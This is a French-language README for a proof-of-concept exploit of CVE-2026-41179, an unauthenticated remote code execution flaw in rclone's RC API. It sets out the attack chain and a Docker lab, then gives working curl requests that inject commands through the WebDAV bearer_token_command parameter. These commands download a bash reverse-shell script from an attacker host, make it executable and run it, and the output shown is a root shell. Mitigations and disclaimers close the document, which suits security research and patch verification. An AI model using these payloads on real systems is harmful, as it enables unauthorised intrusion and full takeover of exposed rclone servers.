
POC for CVE-2026-41179
⚠️ À DES FINS ÉDUCATIVES UNIQUEMENT Ce dépôt est destiné strictement à la recherche en sécurité, à l'éducation et aux environnements de laboratoire autorisés. PSSec et les contributeurs de ce dépôt n'approuvent, ne soutiennent ni n'assument aucune responsabilité pour toute utilisation non autorisée, illégale ou malveillante des informations, codes ou techniques contenus dans ce document. En utilisant ce dépôt, vous acceptez d'être seul responsable de vos actions et de ne tester que des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite.
CVE-2026-41179 est une vulnérabilité critique d'exécution de code à distance (RCE) non authentifiée dans l'API de contrôle à distance (RC) intégrée de rclone, affectant les versions 1.48.0 à 1.73.4.
| Détail | Valeur |
|---|---|
| CVE | CVE-2026-41179 |
| Score CVSS | 9.8 (Critique) |
| Versions affectées | rclone 1.48.0 – 1.73.4 |
| Version corrigée | rclone 1.73.5 |
| Composant | API RC (point de terminaison /operations/fsinfo) |
| Vecteur d'attaque | Réseau — aucune authentification requise |
rclone est livré avec une interface de contrôle à distance HTTP intégrée (rcd). Le point de terminaison /operations/fsinfo accepte une chaîne fs= fournie par l'utilisateur, qui est analysée et utilisée pour instancier un backend — y compris le backend WebDAV. Le backend WebDAV prend en charge un paramètre bearer_token_command, qui est passé directement à exec.Command() sans désinfection. Étant donné qu'aucune authentification n'est requise sur ce point de terminaison par défaut, un attaquant non authentifié peut déclencher l'exécution arbitraire de commandes OS sous l'utilisateur du processus rclone.
Chaîne d'attaque en bref :
POST /operations/fsinfo (no auth)
→ rc.GetFs() parses attacker-controlled fs= string
→ WebDAV backend instantiated with attacker params
→ bearer_token_command extracted
→ exec.Command() fires OS command
→ RCE as rclone process user
CVE-2026-41179/
├── Dockerfile.rclone # Image rclone vulnérable (v1.69.3)
├── patched.Dockerfile.rclone # Image rclone corrigée (v1.73.5)
├── poc.sh # Charge utile de shell inversé
└── instructions # Procédure pas à pas en laboratoire
netcatdocker build -t rclone-vuln -f Dockerfile.rclone .
Construit un conteneur Debian-slim exécutant rclone v1.69.3 avec l'API RC exposée sur le port 5572.
docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln
L'API RC est maintenant accessible sans authentification à l'adresse http://127.0.0.1:5572.
penelope -p 5555
# OR
nc -lvnp 5555
Modifiez poc.sh et définissez votre IP d'attaque et votre port d'écoute :
#!/bin/bash
bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1
Exécutez ceci depuis le même répertoire que poc.sh :
python3 -m http.server 8888
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://<attacker-ip>:8888/poc.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/bin/chmod +x /tmp/shell.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/tmp/shell.sh':'
Vérifiez votre écouteur — vous devriez recevoir un shell root du conteneur :
[+] Got reverse shell from f7697b831050~172.17.0.3-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/script!
whoami
root
Répétez les étapes 1 à 8 en utilisant l'image corrigée pour confirmer que la vulnérabilité est corrigée :
docker build -t rclone-patched -f patched.Dockerfile.rclone .
docker run -d --name rclone-patched -p 5573:5572 rclone-patched
Envoyez la même requête curl vers le port 5573 — la commande ne doit pas s'exécuter.
rcd avec les options --rc-user et --rc-pass pour exiger des identifiants.5572) via des règles de pare-feu — il ne doit jamais être exposé à des réseaux non fiables.--rc-no-auth=false (le nouveau paramètre par défaut dans les versions corrigées) dans les scripts de démarrage.Ce dépôt est fourni uniquement à des fins éducatives et de recherche en sécurité autorisée. Le code de preuve de concept démontre une vulnérabilité réelle dans un environnement de laboratoire Docker contrôlé.
PSSec et tous les contributeurs :
L'utilisation non autorisée de ce code contre des systèmes de production ou des systèmes que vous ne possédez pas peut violer les lois sur la fraude informatique et la cybercriminalité dans votre juridiction.
CVE-2026-41179 — Recherche par PSSec